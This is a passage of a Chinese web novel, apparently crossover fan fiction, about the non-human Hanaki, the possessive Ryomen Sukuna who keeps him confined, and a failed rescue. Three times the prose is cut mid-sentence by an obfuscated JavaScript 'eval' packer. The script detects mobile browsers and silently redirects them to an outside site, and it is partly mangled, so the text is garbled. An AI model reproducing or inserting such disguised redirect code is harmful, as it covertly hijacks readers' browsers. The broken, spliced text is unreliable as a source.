花纪似乎感受不到两面宿傩因为太过用力抱住他、像是要把他揉进怀中的力道,“而且我只是太爱你了,才想让你吃掉我啊。” “你以为我会信吗?” “可你的心跳加速了。” “……会动摇是人之常情。”两面宿傩还在嘴硬,不过他确实动摇了。 万一花纪真的觉得这就是爱人的方式怎么办?虽然不正常,但若花纪真的这么认为,他也不是不能接受。 ……不过他好像早就已经接受了,现在就算发怒,到底舍不得下嘴。 纠结这些只会惹得自己更加生气,两面宿傩手上一用力,将黑发美人身上碍眼的衣物彻底撕碎,炙热的唇舌转而向锁骨以下的部分攻占而去,将自己的气息覆盖在雪白的身躯上。 花纪扯着两面宿傩的粉发,即使扯痛了他,两面宿傩也不以为意,这点疼痛对他来说和挠痒痒没什么区别。 等两面宿傩吻了个遍后,又狠狠地咬破舌头,血液止不住流淌,他撬开花纪的牙关,将这些血液一一渡去,喂给花纪。 两面宿傩确实吃不了花纪,所以他决定把自己的血肉喂给花纪。 就算两面宿傩的攻势一波接着一波,花纪仍然有心思发散思维。 ……原来两面宿傩是真心期待从他身上获得人类的感情啊。 真是愚蠢的男人。对一个不是人类的家伙抱有这种期望,怎么可能会实现呢? 8. 第 8 章 虽然明确拒绝了花纪,两面宿傩仔细思忖过后,决定稍微放宽一些,让他之前捡到的小孩去陪花纪说话解闷。 当然,这小孩只能隔着墙壁与花纪对话,花纪的脸是绝对不能让他看到的。 不是两面宿傩不信任里梅的忠诚,只是花纪的威力太过可怕。 里梅领到两面宿傩的任务时,没想那么多。只是满心激动,以为宿傩大人终于要对自己委以重任,是对他忠诚的认可。 被两面宿傩捡到后,里梅得知这座宅邸从不允许外人进入——宿傩大人的恋人居住于此。 里梅在宅邸旁边建了座小屋,兢兢业业地作为两面宿傩忠诚的跟随者生活。 谨记不能随便进入宅邸的规则,里梅同时作为看守,禁止其他外人靠近这里。 如今终于获得与宿傩大人的恋人交谈的机会,里梅不禁开始想象对方究竟是怎样的角色,哪怕只能听到声音,想必也美妙无比吧。 “你要小心。”两面宿傩破天荒地叮嘱里梅,“不要因为他的话语动摇。” 里梅:“……?” 日语中“他”的读音可区分性别,但里梅并未因此感到奇怪。只要是宿傩大人的选择就是对的。 就算不理解两面宿傩的意思,里梅还是恭敬地低头应下,老老实实将两面宿傩的这句话牢记在心。 宿傩大人这么说肯定有宿傩大人的道理,他只要听着就是。 等里梅亲耳听到花纪的声音后,他终于理解两面宿傩为什么会那么说了。 “不进来吗?里梅。” 不用里梅自我介绍,只是听见敲门声,花纪就断定来的人不是两面宿傩。两面宿傩虽然会敲门,但不会给他应答的时间,而是敲完之后直接推门而入。 里梅额角渗出汗珠,好半天才忍住答应的冲动,开口拒绝:“万分抱歉,花纪大人,这点属下做不到。” “……所以你就是单纯来陪我说话的?” 花纪对两面宿傩的操作有些无语,他又不是真的因为两面宿傩不在的时候只能独处而无聊,两面宿傩就算找人来陪他说话,又有什么用? 里梅有些纠结要不要承认,虽然宿傩大人确实是这么吩咐的,但花纪大人好像不怎么高兴,他是不是把事情搞砸了? 不过花纪及时开口,打断了里梅忧心忡忡的情绪,柔声询问两面宿傩最近在外面做什么,平安京发生了什么事……里梅的所见所闻,似乎都让花纪充满兴趣。 里梅心情激动地把自己知道的事一一告诉花纪,绞尽脑汁地让描述更加有趣。不过就算如此,里梅还是没忘记两面宿傩先前的嘱托,如果是两面宿傩不允许的事情,里梅绝不会做。 不过谈话中途就被人打断了,会这么做的除了两面宿傩别无他人。 “里梅,你该离开了。” 两面宿傩声音低沉,里梅立刻听出他心情不佳。里梅一惊,连忙行礼,顺着两面宿傩的意思匆匆离开。 花纪美眸含笑,就算察觉两面宿傩心情不佳,却仍故意说道:“宿傩,明明是你叫他来的,现在又赶他走,这样不好吧?” 两面宿傩一声不吭,猩红的眼珠微微一转,目不转睛地盯着黑发紫眸的美人。如果是寻常人,早就在他饱含压力的视线下双腿颤抖、冷汗不止了。 自从两面宿傩拒绝花纪的要求后,原本无刺玫瑰的茎干忽然长满了刺,只要被他握在手中,就会用尖利的刺狠狠刺入他的血肉。不过就算被刺得鲜血淋漓,两面宿傩也不会放手。 “我知道你在想什么,花纪。” 两面宿傩的声音还算平静,他一开始以为花纪是打算像他们第一次见面时那样制造混乱,欣赏那些家伙走向末路。鸟儿无法拒绝展开翅膀在天空翱翔,鱼儿无法停止摆动身体在水中游动,而他喜欢的美丽怪物,同样无法拒绝身体的本能。 可现在两面宿傩意识到了更多,花纪态度的改变,分明是不满他过多的束缚。 两面宿傩斩钉截铁道:“我不会让你有机会摆脱我。” 如果让花纪见到其他人,花纪反而会利用那些人从他身边逃走。 就算花纪口口声声说爱他,可花纪更爱自己。 一旦捕获的目标不符合花纪的心意,花纪就会抛弃他们。 两面宿傩挺拔的身体矗立在花纪的面前,高大的身形如同无法逾越的高山。 就在氛围越来越古怪的时候,花纪勾起唇角笑了,眼中的情意如同流淌的蜜汁般甜滋滋的,“我困了,宿傩。” 花纪扯了扯两面宿傩的衣襟,“冬天好冷,陪我睡一会吧,你的身体更暖和。” 两面宿傩不悦地哼了一声,双臂抱胸,“现在想起糊弄我了?” “我只是不想让你生气。” 两面宿傩才不信,花纪现在是懒得在两人之间的矛盾上纠缠才对。 不过花纪现在不会说刺激他的话,两面宿傩也就默许了休息的要求。 两面宿傩双手一捞,直接抱起黑发的美人,阔步走到铺好的床上,将人往上一放,又开始脱起自己的衣服。 花纪却径直闭上双眼,安静地枕着枕头,露出的侧脸一片宁静,似乎已经沉浸在香甜的睡梦之中,柔顺的长发散落在颈间,雪白的颈子隐隐若现。 两面宿傩放在腰带上的手微微一顿,眉头紧皱,最终还是移开了手,只是赤裸着上半身,上床将人紧紧搂在怀里。 算了,不差这一次,今晚就安静地睡吧。 * 五条律又做梦了。 梦境的内容很熟悉,出现在梦境中的人是他在脑海中描摹了无数次的脸庞。仅仅是一次的惊鸿一瞥,五条律就再也忘不掉这个人了。 奇怪的是,梦中的人比往常更加生动,好像本人亲自进入了梦境之中。 五条律转而纠正,这确实是对方来到了他的梦境。 “是你……” 五条律的语气很是复杂,遥不可及的梦想就在眼前,他怎么可能不激动? 打探两面宿傩的所在地并不难,但如何侵入又是另一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16530219|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个问题。不提笼罩在宅邸上的坚固结界,仅仅是两面宿傩的存在,就是坚不可摧的防壁。 如果想办法召集更多的人手,总有突破两面宿傩防守的那一天。但召集人手总需要理由,五条律不想暴露心上人的存在,更不打算引来更多的竞争者。 “我可以知道你的名字吗?我是五条家的现任家主,五条律。” 花纪坦然地告诉了对方自己的名字,语带笑意:“你的眼睛真漂亮,可以送给我吗?” 如同苍穹般纯净的眼睛,像是遥不可及的另一个世界。花纪想把这对眼球握在掌心,送到眼前仔细欣赏。 这是梦境,就算挖出眼睛,也不会对现实中的身体造成伤害。 于是五条律干脆地将带血的眼球送到了花纪的面前,真实的痛楚刺激着大脑的神经,但五条律丝毫不在意,只是用反转术式生成眼球,用再次获得的视觉贪婪地注视黑发美人的笑靥。 “我会从诅咒之王手中拯救你的,花纪。” “好啊,我等你,等你成为我的英雄。” 花纪眉眼含笑,话中的期待让五条律的精神更加亢奋。 两面宿傩禁止他外出,但花纪也有自己的办法。 虽然他不是梦魔,对梦境的操作不如梦魔上手,可到底同是以人类情绪为食的生物,也能做到操作梦境。 希望五条律不要辜负他的一番费心,经过这次的刺激,行动总要比之前更大了吧。 花纪又敷衍了五条律几句,身影才散落成无数花瓣消失。五条律留恋地望着他最后站立的位置,才从梦境中醒来。 苍色的六眼轻易就能分辨花纪不是人类的事实——但是没关系,五条律不在意这一点。 咒灵也好,妖怪也罢,无论花纪是何种存在,五条律都无法自拔地爱上了他。 汹涌的能将人淹没、再也无法从浪涛中脱身的爱意,如今在五条律的胸腔中激荡。这是他二十多年中的人生从未体会过的情感,哪怕突兀,却令人沉醉。 五条律知道这很反常,可他不排斥这种感觉,反而觉得人生因此有了不一样的色彩。从刻板的家主身份中挣脱,从条条框框的束缚中获得自由,他可以任意做自己,享受被爱情支配的滋味,就算为此献上生命也无所谓,只要能获得那一刹那的快感,五条律不惜献上一切。 想着心爱之人的笑容,五条律对被六眼笼罩的世界都有了不一样的观感。并不美丽的世界终于多出了美丽的存在,这是何等的幸福! “家主大人。” 发现五条律醒来的侍女连忙跪在他的面前,五条律让侍女准备明天一早就把其他长老叫来,说有要事相谈。 两面宿傩这些年来早就成为最知名的诅咒师,以至于被人敬畏地称呼为“诅咒之王”,就连当今天皇都有所耳闻。不过这样一来,倒是方便了五条律以此作为理由讨伐两面宿傩。 他一人确实无法轻易打败两面宿傩,但若是面对众多知名咒术师的围剿,任凭两面宿傩实力再强,也无法敌过他们。 9. 第 9 章 两面宿傩并不是所有时间都会待在宅邸,为了清理必要的杂碎,至少在他眼里如此,他常常会突然离开。 天使就是在两面宿傩离开,被人拖住难以立刻赶回来的时候抓准时机,潜入宅邸寻找五条家主所说的被两面宿傩囚禁的受害者。拥有翅膀可以飞行的她具有他人难以比拟的高机动性,在潜入和撤退方面占据优势。 “找到了——” 天使的声音戛然而止,被眼前的画面所震撼,姣好的面容突然泛起红晕,差点忘记自己原本的台词。 她瞬间理解了两面宿傩为什么会打造复杂无比的结界,筑造牢笼把人困在这里。实在是黑发美人的美貌已经超越了普通人类想象的极限,如果是没有亲眼见到的人,大概难以相信世间会有如此美好的人存在。 ……可恶的堕天,竟然强行掳走对方,把人囚禁起来,实在罪该万死。 花纪不发一语,而是专心致志地打量来人的外貌。头上的光环和背后的翅膀,怎么看都像极了西方的天使。 “别害怕,我是来救你的。” 天使有些磕磕绊绊地开口,神情紧张,生怕花纪把她当作和两面宿傩一样不怀好心的诅咒师。 “如今藤原北家直属的日月星进队已经对两面宿傩实施暗杀,日月星进队是平安京有名的精英暗杀部队,就算是堕天,他们也能打败他。” 花纪接受了天使的好心解释,并露出了让天使愈发失神的笑容,“是吗?那太感谢你了。” 要不是这里是平安京,花纪都要以为自己拿的是要被天使剿灭的恶魔的剧本了。 天使又红着脸提议道:“我抱着你离开这里吧。” 与其翻山越岭,还不如直接飞行离开更快。花纪颔首,采纳了天使的提议。但对于天使口中两面宿傩会被日月星进队消灭这件事,他并未回应。 要是两面宿傩真的死了,花纪会第一时间知道。毕竟只有两面宿傩活着,才能从他身上获得源源不断的感情,以此作为食粮。 天使的术式可以消灭一切术式,净化所有诅咒,她来时正是通过术式破坏了由两面宿傩的咒力所构筑的结界。结界被破坏,两面宿傩身为结界的主人,第一时间就能察觉。因此天使必须争分夺秒离开这里,免得两面宿傩不顾日月星进队的纠缠直奔宅邸所在。 虽然是女生,但天使更是咒术师,力量自然不在话下,轻松就能抱起花纪。他们迅速向着外面飞去,奔赴平安京,远离两面宿傩。 花纪倏地问道:“那个白发的孩子呢?” 天使一愣,还是乖乖回答:“被其他咒术师缠住了,目前生死不知。” 花纪若有所思,从里梅身上获取的情绪还没消失,那对方就还活着,两面宿傩同样也是。 如果被两面宿傩抓回去,他会被杀吗? 大概会吧,毕竟两面宿傩曾经说过,如果他要离开,就会把他一点不剩的吃掉。 就算面临着死亡的威胁,花纪的心态仍旧能称得上平稳,因为他是怎么也杀不死的生物。 就在这时,爆发性的咒力斩击突然袭来,精准无误地命中空中的天使。天使的身体遭受致命性的伤害,原本有些害羞的脸庞来不及露出痛苦的神色,表情就已经凝固,大量的血液当即溅到了花纪的侧脸上。 由于能够飞行的天使已经死亡,花纪的身体由空中下坠,黑色的长发飘舞,像是被折断羽翼的飞鸟,只能无助地坠落到地面。 花纪在认真思考一个问题——若两面宿傩决定吃掉他,是打算吃已经死掉的他,还是打算把活生生的他吃掉呢? 如果两面宿傩是前一个打算,那么就要失望了,已经死掉的他是留不下尸体的。 熟悉的手臂在花纪还在空中时就稳稳地接住了他,比起获救的感觉,花纪更多的是果然如此的感觉。 心高气傲的两面宿傩,怎么可能在没有得出答案之前就杀了他呢? “别想逃。” 两面宿傩深红的眼睛狠戾之色危险至极,涌动的杀意足以将人吞噬殆尽,结实的手臂禁锢的力道让花纪感到痛苦而微微蹙眉,然而两面宿傩不仅没有放松力道的意思,甚至还更加用力了。 被背叛的愤怒已经快冲昏了两面宿傩的头脑,就算早就无数次警告过花纪,花纪还是背叛了他。 肉|体的疼痛对两面宿傩而言向来无关紧要,但有生之年,两面宿傩难得因为无形的痛楚体会到了遍体鳞伤的感觉。 “你不是说过要杀了我吗?为什么不这样做呢?宿傩。” 花纪的紫眸中只有纯粹的疑惑,像是不理解两面宿傩为什么还不动手。 两面宿傩冷笑,“那你是嫌我废话太多吗?” 两面宿傩宽大的手掌直接扼住黑发美人的脖子,只要他稍稍用力,就会像折断花枝一样将其折下。 “你就这么想去死?” 讨厌他到不愿意待在他的身边?明明声称爱他的是这个家伙,背叛他的却也是他。 从见到花纪的那天开始,两面宿傩就被套上了无形的项圈,心灵的自由已经变质。不知何时,他的人生已经完全无法摆脱花纪的存在。 真是可笑,他从前对爱不屑一顾,现在却切身体会到爱的荆棘是何等刺痛。 “我爱你,可你却不够爱我啊,宿傩。” 花纪长长的眼睫微微垂下,美丽的眼睛噙着泪水,似乎随时都能落下。这副模样落在两面宿傩的眼中,让他不禁放松了手上的力道。 “你不允许我出去,我每天只能看到相同的风景,你根本不在乎我的想法。” 花纪的话戳中了两面宿傩的弱点,两面宿傩表情扭曲,想要辩解却无从开口。 但两面宿傩不打算认输,“那你呢?你要是爱我,为什么不愿意为我忍受一下呢?” 花纪静静地看着他,倾世的美貌即使不露出笑容,依旧明艳动人,只是优美的唇吐露的话语狠狠地打碎了两面宿傩的理智。 “那我们从此散了吧,宿傩。” 两面宿傩手背上的青筋瞬间凸起,脸色可怕的吓人,却迟迟没有下定决心拧断玩弄他的人的脖子。 “……你以为你露出伤心的表情,我就会手软吗?” 说他不够爱他,可不懂爱的人分明是花纪。 他也是可笑,竟然奢望一个非人的家伙懂得人类的爱情。 两面宿傩体会到了自作多情的滋味,而愚弄他的罪魁祸首甚至未曾认清自己的错误,他的愤怒,简直和一拳打在棉花上没有区别。 花纪不再说话,两面宿傩的怒气无处发泄,反而把自己气得够呛。 空气一时安静的可怕,两面宿傩咬牙开口。 “……没有下次。” 湿润的紫眸像是被雨水打湿的紫罗兰,两面宿傩盯紧花纪的眼睛,一字一句道:“再有下次,我一定会杀了你。” 绝对不会有下次了,他不会再给花纪第二次机会。 如果花纪远离他,那他宁可杀掉花纪。 * 花纪让里梅收敛了天使的身体,虽然他的心中并无悲伤之情,但好歹两人有过一面之缘,加上让他在这个国家见到了天使的形象,他不介意做这些。 里梅刚开始神色很是为难,“花纪大人,这是敌人。” 花纪安静地望着里梅,里梅深吸一口气,犹豫道:“……我去请示宿傩大人。” 那两面宿傩肯定会拒绝他。 花纪叹了口气,“那我自己来吧。” 里梅想也不想的就立刻说道:“这种事怎么能让您自己来!” 花纪大人的手怎么能做这些粗活! “那就不要告诉宿傩了,里梅。” 花纪声音柔和,“我不想再和宿傩吵架了,你也不想看到这种情况吧?拜托了,里梅。” 里梅眉毛纠结的快连在了一起,一边是敬爱的宿傩大人,另一边是喜欢的花纪大人,而且花纪大人是宿傩大人的妻子……里梅哪一边都不想让对方失望。 半晌,里梅终于下定决心:“我明白了,花纪大人,我会按照您说的去做。” 里梅的头上忽然传来轻柔的触感,喜爱之人的指尖不经意的插入他白色的发丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16530220|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,反应过来,里梅的耳根变得通红。 花纪摸着里梅的头,表扬道:“里梅真是个好孩子。” 里梅刻意板着脸,故意露出成熟的表情,“花纪大人,我已经十几岁了,不是小孩子了。” “可里梅的年纪比我小,在我眼里就是孩子啊。” 里梅嘴唇微动,却说不出话来。他更想让花纪大人把他当成一个可靠的大人啊! 里梅离开后,花纪决定复盘。 [看来下次不能这么肆无忌惮的利用自己的能力了。] 虽然两面宿傩的爱意是那种会在味蕾上爆炸,如同醇厚的佳酿的味道,一个人提供的分量就能超过不少人加起来的集合,但这不妨碍花纪还想要更多。 虽然质很重要,但太追求质量,反而会拖累他的成长。 [下次我会为您安排更合适的身份。] 系统也不好说两面宿傩小肚鸡肠,平心而论,换做是祂,祂也不喜欢有其他人接近王后。 不过两面宿傩做得太过火,这就是对王后的大不敬了。 系统也一并反思,[至少不会开局就遇到两面宿傩这种麻烦的家伙。] [下次我想体会一下普通人的生活,给我安排一个人类的身份吧。] 花纪来了兴趣,[我会好好伪装成普通人成长的。] 祂沉默了。 以王后的长相,怎么看也与普通人相差甚远。再怎么收敛气息,也无法抹除那从骨子里散发的魔性之力。 不过既然王后这么发话,祂也得想办法用上各种术式,尽量保证王后愉快的普通人生活。 * 平安京时期的照明手段有限,夜色降临大地,只有点亮的蜡烛驱散黑暗,照亮这小小的一方天地。 两面宿傩一进门,看到的场景就是黑发的美人纤细的手指几乎就要碰到跃动的火焰。没有多加思考,两面宿傩身影瞬间在原地消失,下一秒就出现在花纪的身旁,一把握住他的手腕远离烛火,声音冷硬。 “你是打算找死吗?” 如果是在两人发生矛盾之前,两面宿傩还愿意忍着自己的坏脾气,装出体贴的形象。可他现在已经完全没有心情伪装了,能不发怒就已经是极限了。 花纪想了想,诚实地说道:“我是想感受火焰的温度。” 两面宿傩快要气笑了,“然后呢?你等着被烧伤吗?” 这家伙是不是想把他气死! 两面宿傩控制不住地产生各种猜想,说不定花纪下一秒就会说“我被烧伤和你有什么关系”这种话,那他要怎么回答?总不能说没想那么多身体就动了吧!他还要点面子呢! “抱歉,我没想那么多。” 花纪眉眼含笑,柔软的唇瓣吻上了两面宿傩的唇角,一触即分。 “要不是宿傩把我拉开,我就要被烫伤了。” 两面宿傩一动不动,似乎是没想到不久前还和他提分手的恋人如今态度转变的那么快。 梦幻的紫眸如今好像染上了不一样的色彩,似乎变为了更为绚丽的虹色,而瞳孔周围的深处则是美到不祥的绛红,明明是世间少见的奇光异彩,却有着危险的诡谲气息。 花纪甜蜜地说道:“我好喜欢你啊,宿傩。” 骗子。 两面宿傩首先想到的就是这个词汇。 花纪以为这是在训狗吗?打了他一巴掌,再给他一块甜枣,就想把之前的一切一笔勾销了吗? 还是说在故意耍他?等他原谅了他,再激怒他? 两面宿傩越想越气,低头堵住让他心烦意乱的柔软嘴唇,吮吸藏在里面的香舌,贪婪地吸食着蜜液,彼此的呼吸交织在一起,他的手探入黑发美人的衣摆,灵活地抚摸着细腻的肌肤。 “哈……” 虽然两面宿傩的举动有些粗暴,花纪微微喘着气,脸颊绯红,但目光仍然温软地默许了两面宿傩的行动。 花纪讨厌火焰,而他刚刚走神差点触碰到火焰,是两面宿傩让他免于被火焰灼伤。 看在这件事的份上,给点奖励也不是不行。 10.第 10 章 日月星进队的暗杀只是一个开始,并不意味着结束。 如果是在过去孤家寡人的时候,两面宿傩不仅不会排斥,还会饶有兴趣地等着他们的“挑战”,将他们引以为傲的实力通通碾碎,欣赏厌恶他的人露出绝望的表情。 可现在不一样,两面宿傩不仅有了固定的住处,还有了一个无法拱手相让的牵挂。 两面宿傩也觉得自己像是一只被链子拴住脖子的家犬,可偏偏他又无法挣脱花纪的束缚。 而在他心烦意乱时上赶着的敌人们,与在身边围绕的蝇虫没有区别。 无论是藤原北家直属的精英暗杀部队日月星进队,还是后续的征伐部队五虚将,与他们的战斗虽比两面宿傩以往的对战更加激烈,但这些敌人仍被他全数歼灭。所造成的轰动,即使在平安京上层也引起了轩然大波。 自从上一次花纪差点被人带走后,两面宿傩终于允许里梅与花纪见面。如果不是这段时间入侵的敌人太多,两面宿傩甚至打算亲自带着花纪到外面无人的地方去。 但花纪想要自由的行动,这点两面宿傩自始至终都不肯答应。这些举动,已经是他能给出的最大宽容。 “宿傩还没有回来吗?” 花纪瞥了眼外面的天色,接着收回了视线,手上一边翻阅着和歌集,一边与里梅搭话。 里梅低头,不敢看花纪的脸。倒不是两面宿傩刻意叮嘱,只是里梅深知这张脸会对精神造成何等影响,他怕多看几眼,就会辜负两面宿傩对他的信任。 “抱歉,花纪大人。宿傩大人还有要事,今晚怕是无法回来了,您可以早些歇息。” “哦?明明最近已经没有多少敌人敢过来了,还有什么事呢?” “……听说是平安京那边的人联系宿傩大人。” 虽然是早就在梦境中从五条律那边得知的事,但不妨碍花纪露出像是第一次知道时的表情。 里梅犹豫一番,说道:“宿傩大人是为了和您以后的生活考虑,只要以后平安京不会再试图抹消宿傩大人,哪怕只是官方势力承诺可以做到,也能减少打扰。” 至于那些孤僻的诅咒师之流,就不是平安京咒术世家们的管辖范围了。 之所以能做到这种让步,还是因为两面宿傩实力凶悍,将前来讨伐的人尽数斩杀,不仅把他们的脸面踩在脚下,甚至引起天皇的恐慌,要求他们尽快处理,才捏着鼻子变相妥协。 “我知道。”花纪说道,只是里梅微微抬头,眼角的余光所看到的侧脸,美丽得竟然让人觉得有些恐怖。 花纪的腔调甜腻得古怪,“毕竟是我选择的人,会这样也是理所应当的。” 里梅一直知道,虽然花纪看似是个外表美丽却柔弱的人,实际上危险性一点也不低于宿傩大人。 或许只要花纪愿意,就能操控他背叛宿傩大人也说不定。 这是人类最为原始本能中的恐惧,就像面临色彩斑斓的蛇会下意识后退一样。越是美丽的东西就越是危险,往往拥有着剧毒。 ……但不管怎样,宿傩大人清楚这一点,并做出了选择,这就足够了,而他只需要服从宿傩大人的决定。 “花纪大人,宿傩大人被邀请参加平安京宫中的新尝祭,作为祈求五谷丰登的对象。这次外出,也是为了这件事情。” 里梅最初不确定要不要告诉花纪,如果宿傩大人愿意参加,一定不会将花纪独自留在山中,而是带着他一起来到平安京。也正是因此,宿傩大人迟迟没有做好决定。 如果去参加,可以作为协定谈妥的象征,以后不会有多余的敌人来打扰他们。可要是带着花纪前去平安京,或许会引起新的事端。 但若是不带着花纪去,即使里梅留下,只要两面宿傩离开的时间太久,就未必安全。毕竟不提花纪本身对咒灵或人类的吸引力,单单凭借他之前试图离开两面宿傩的行为,两面宿傩就绝不放心。 可经过脑内斗争后,里梅还是选择了实话实说。毕竟花纪是宿傩大人的恋人,这件事与他息息相关。而且出于直觉,里梅总觉得两面宿傩会答应。 “如果宿傩决定参加,那我也会去平安京吧。” 花纪来了兴致,“我还没去过平安京呢,作为都城,肯定是这个国家最繁华的地方吧。” 决定了,就算动手也要等到这之后再说。 “那我等着宿傩的好消息。” 里梅见花纪果然很高兴,却陷入了新的纠结。 万一宿傩大人拒绝了怎么办?哪怕可能性很小,也并非全无可能,那花纪大人绝对会生气的!两人万一感情不和,他作为下属要怎么解决? ……宿傩大人应该不会拒绝吧?毕竟这次愿意会谈,已经表明了态度。以宿傩大人的性格,若非感兴趣,是绝对不会去的。 里梅冷汗直冒,已经开始思索身为一个合格的下属,要如何应对上司的感情问题了。 花纪则与系统交流,[五条律不好用。] 若非如此,怎么找来的人全都输给了两面宿傩呢? [不过两面宿傩能赢到现在,这也说明我的眼光够好。] 他只会和最强的人在一起,因为最强的也意味着最好用,值得他满心去喜爱。 至于两面宿傩曾经说他不懂爱,或许吧。 人类的他没有爱过就死去了,而变成了另一种形式存在的他,可是在尽最大所能用自己的方式去爱。 两面宿傩想从他这里得到什么呢?他能给的,也就是这些了。 只要爱他们就等于爱自己,花纪不介意去爱,并从中体会着幸福的滋味。 系统回答:[五条律的实力确实不如两面宿傩,不过他比两面宿傩更听话。] 而王后喜欢听话的恋人,愿意顺应王后的心愿,在王后的眼里,才是足够的爱。 ……就像过去的所罗门一样,对王后有求必应,哪怕所罗门并没有人类的情感,只是顺应神的无心人偶。 但正是这一点最可恶,不管怎样,王后还是爱着所罗门的啊!可是这家伙,竟然无法回应王后,给出同等的爱。 系统,不,应该说是七十二魔神柱的集合体——盖提亚,几乎是咬牙切齿的想到这一点。 还好王后现在并没有认识所罗门,一切都有重新来过的机会。 祂会成为真正的魔术王,王后则还是魔术王的王后,祂们才是最般配的。 花纪感叹:[如果两面宿傩和五条律的优点能结合在一起就好了。] 可惜凡事不能皆遂人愿,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16565784|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来还是很喜欢两面宿傩的,只是两面宿傩束缚了他的自由,而这是他绝对无法容忍的。 盖提亚忍住说自己比他们更合适的冲动,不得不开口:[以后总会有更合适的。] 为了王后的成长,祂不得不暂时忍耐王后和其他人在一起。 毕竟王后依靠人类的存在而进食,祂不可能剥夺王后的养分。 没关系,等到以后时机成熟,王后就不需要除了祂以外的家伙了。 [也是,总要品尝不同的菜色吧,这也算爱情的不同风味了。] 系统与花纪的对话突然被打断了。 里梅脸色一变,“花纪大人,我先出去一趟,您千万别离开屋子。” 有新的咒灵闯进来了,还是特级。 里梅不敢大意,立即前往结界。 结界不仅驱散着周围的闲人,还防止咒灵的进入。然而再强悍的结界,在外力的作用下,总会出现裂痕。就算经过修补,也无法完全复原之前的效果。 重新设立结界是个大工程,所耗的时间不短,因此现在还依靠着之前的结界。 能够被吸引过来的咒灵,实力也不是一般货色。 里梅拿出十二分的警惕,随时准备发动攻击,但咒灵始终没有出现。 奇怪,是去哪了? 巡视了一遍又一遍,里梅确定结界内已经没有了咒灵的身影。 等里梅回到室内后,或许是不同于以往的脸色显得不够安稳,花纪眨了眨眼,“出现意外了吗?” 里梅点了点头,随即又摇头,“不,或许是我误判了。” 结界出现了问题,但说不定驱散咒灵的作用重新发挥,咒灵已经离开了。 不管怎样,结界里如今确定了没有异物,里梅多少放下了心。 “以后可要小心一点啊,里梅,可别怪我不提醒你。” 花纪重新看向另一本和歌集,这是两面宿傩写给他的,被他装订到了一起。 和两面宿傩粗犷的外表不同,他写的和歌倒是意外的有文采,书法也不错。 里梅也注意到花纪手上拿着的不是他离开之前的那本平安京的和歌集,而是换成了两面宿傩用和歌写的情书。 平安时代流行用和歌作为情书的表达方式,在贵族之间成为了风雅的一种方式。 里梅会心一笑,本来忐忑不定的心如今安稳了许多,开口道:“花纪大人,宿傩大人一向记挂着您。” “所以我给过他回信。” 只是不多,花纪对和歌没有多少兴致。因为是两面宿傩特意写的,花纪才询问里梅和歌的表达方式,顺手回过几封。 只可惜每个爱上他的人,或多或少都有着控制欲和独占欲,而两面宿傩在这些人之中也算是排名前列的了。 花纪其实要求的不多,不限制他的自由就是其中之一。 要不是两面宿傩的实力够强,从他身上获得的营养够多,花纪未必能忍到现在。 唉,为什么就不能有个足够听话又体贴的恋人呢?花纪忍不住忧愁的想到。 当然,拥有足够的实力也是重要的一点。这样一来,哪怕对方的爱意难吃一点也没关系——不过既然满足那些要求,味道应该也难吃不到哪里去吧? 11.第 11 章 花纪见两面宿傩回来的第一句话,就直接询问了他最关心的问题。 “要去平安京吗?宿傩。” “你知道得还真快,”两面宿傩意味不明地说道。 “你又没禁止里梅告诉我,而且你不会瞒着我的,对吧?” 两面宿傩看着花纪脸上明媚的笑容,明智地没有给出否定的答案。 他以前是没谈过恋爱,但只要是智商正常的男人,总该知道在什么时候不该说什么话,免得激怒恋人。 在遇见花纪之前,两面宿傩一向随心所欲,忍耐这两个字,在他足够强大之后早就成为了过去式。然而今时不同往日,两面宿傩已经受够了忍耐带来的憋屈。 实在是花纪不仅长得漂亮,也比两面宿傩见过的那些贵族还要娇气难伺候。好在花纪的性格比那些贵族好了太多,至于伺候起来麻烦这点,不仅是里梅,两面宿傩也觉得天经地义。 毕竟花纪看起来就很弱,就像名贵的花朵难以生存,必须精心呵护,照顾起来需要上心一点也正常。 两面宿傩生硬地开口:“我给你带来了新的珠宝。” 两面宿傩顺手解开系在腰上的袋子,里面的东西撞击发出铃铃铛铛的清脆响声,一看就装了不少东西。 “我对珠宝没什么兴趣。” 虽然这么说,花纪还是接过了两面宿傩准备的伴手礼。无论是用来装东西的袋子所用的布料,还是作为系绳的缎带,均选用上等材质,上面绣着的花纹也非常精细。 花纪还特意打开看了一眼里面的珠宝,但又很快收回目光,没有细看就重新拉紧缎带。似乎只是为了完成任务,表示他对两面宿傩的礼物并非毫不上心。 